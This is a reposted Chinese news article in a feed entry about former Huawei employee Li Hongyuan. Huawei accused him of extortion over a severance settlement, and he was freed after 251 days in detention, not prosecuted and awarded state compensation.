<content type="html"><![CDATA[<blockquote><p>原文转载自:<a href="https://www.williamlong.info/archives/5902.html" target="_blank" rel="noopener">https://www.williamlong.info/archives/5902.html</a></p></blockquote><p>11月28日一份刑事赔偿决定书在网上流传,一位华为离职员工李洪元索要2N赔偿之后,被华为控告敲诈勒索,于2018年12月16日被拘留,法院认定犯罪事实不清,证据不足,不符合起诉条件,关押251天后李洪元重回自由。</p><p>在法院的宣判文中,深圳龙岗法院表示:深圳市公安局移送审查起诉的犯罪嫌疑人李洪元涉嫌敲诈勒索罪一案退回公安机关第二次补充侦查。深圳市公安局于7月10日提交了《补充侦查报告》,反映了其在与李洪元商谈离职补偿问题时,李洪元根本不存在敲诈勒索的行为。为此,鉴于李洪元的行为根本不构成犯罪或者依法不应追究刑事责任的实际情况,依照《刑事诉讼法》第一百七十三条第一款及第一百七十一条第四款之规定,对华为该员工作出法定不起诉的决定。</p><p>经本院审查并通过补充侦查,仍然认为深圳市公安局认定的犯罪事实不清,证据不足,不符合起诉条件。于2019年8月22日决定对李洪元不起诉。对赔偿请求人李洪元予以国家赔偿,包括人身自由损害赔偿金79300.94元,精神损害抚慰金27755元,两项合计107522. 94元。向李洪元原工作单位、其父亲李洪元所在的工作单位发函、为其消除影响、恢复名誉。</p><p>从宣判文中可见:</p><ol type="1"><li>李洪元2005年入职华为担任工程师,离职前在逆变器销售管理部工作,2018年1月31日离职,在华为工作13年之久,主动离职与辞退离职尚未知晓。</li><li>离职过程中,因为补偿金额发生争议,商议后补偿33万元左右。</li><li>2018年3月8日,李洪元离职近40天后,华为向其转款补偿金,注意是通过私人账号,同时备注转款原因离职经济补偿。</li></ol><p>前边的一系列流程都很正常,离职然后补偿,但华为的HR并没有停手,他们起诉李洪元敲诈勒索,于2018年12月16日被拘留,幸亏人民法院认定犯罪事实不清,证据不足,认定不符合起诉条件,关押251天后李洪元重回自由。</p><p>以下为不起诉意向书(部分)内容:</p><p>2018年12月15日,华为公司委托法务人员袁x到深圳市公安局经侦支队八大队报案称:公司员工李xx与杨x等人勾结,在与公司的离职补偿劳动纠纷中,威胁将资料外泄披露,要求公司给予补偿。在公安机关以侵犯商业秘密立案而查证无果的情况下,华为公司改变策略,于2018年12月28日以涉嫌敲诈勒索再次报案,控告李xx于2018年1月31日与部门领导何xx洽谈离职补偿过程中,采用威胁和强制的方式,迫使该员工何xx同意私下给付额外补偿金33万元,以换取他不闹事,不举报,顺利离职的承诺。</p><p>本案中,华为公司相关工作人员何xx、李x、袁x、周x作为证人,分别多次接受了公安机关的询问,并制作了询问笔录。所有这些证人均口径一致的指证李xx在与何xx商谈离职补偿时,采用了威胁和强制的方式,逼迫何xx给予额外的2N补偿,最后何xx考虑到李xx的危险性,不得不作出让步。好在该员工李xx保存了当时与何xx商谈离职补偿时的录音资料,通过该录音资料能够反证何xx等人是在说谎,不能排除有恶意构陷李xx之嫌。辩护人觉得事态严重,迅速向贵院出具了法律意见书,要求人民检察院将本案退回补充侦查。</p><p>公安机关在第一次补充侦查阶段,提交了将查扣的李xx的两部手机、一台笔记本电脑、一个录音笔、一个u盘、一个移动硬盘设备内的电子数据委托广东安证计算机司法鉴定所进行司法鉴定后,该所出具的《司法鉴定意见书》及录音资料文字版。能够证明当时的商谈是在双方有说有笑的基础上进行的,最终经过2小时12分24秒的充分协商,达成了离职补偿协议,整个过程并无李xx实施威胁或要挟的语言,反倒是何xx与袁x反复强调该协议内容合法,要求该员工李xx尽快接受协议约定的内容并迅速签字,足以证明李xx在与何xx商谈离职补偿的时候没有采用敲诈勒索的方式,何xx等人的证言称何xx在与李xx商谈离职补偿时受到李洪元敲诈勒索没有事实根据。</p><p>公安机关在第二次补充侦查过程中,再一次对何xx进行了询问,并附上了对何xx的询问笔录。可能这次是何xx良心发现,推翻了原来的证言,并如实陈述了自己与李xx仅仅只是2018年1月31日下午接触过一次,且在这次商谈过程中,李xx并没有对其实施要挟和威胁行为。该陈述与公安机关第一次补充侦查阶段提供的2019年5月13日华为公司逆变器管理部HRBP吕辉平出具的《关于李xx工作调整和合同不续签的两次正式沟通说明》内容相印证。吕xx在说明中称,自己协助主管熊x与该员工进行了两次沟通,第一次是在2017年7月底指出该员工业务不足以及工作调整,下半年工作重点和输出等,并提供机会给他工作调整;第二次是2017年12月份,作出不续签合同的正式沟通,安排工作交接和要求,整个沟通过程平和,李表示了解公司离职政策,并没有跟沟通主管和吕xx提特殊要求。由此可见,李xx在2018年1月31日与何xx商谈离职补偿之前,没有采用任何过激的语言,当获知公司不续签劳动合同的消息后,也能够保持理智,并没有提出任何特殊要求;接着在与何xx商谈离职补偿的过程中,更没有对何xx实施要挟和威胁的方式。那么,本案所谓敲诈勒索罪依法不能成立。</p>]]></content>
<summary type="html">
<blockquote>
<p>原文转载自:<a href="https://www.williamlong.info/archives/5902.html" target="_blank" rel="noopener">https://www.williamlong.info/
</summary>
</entry>
</feed>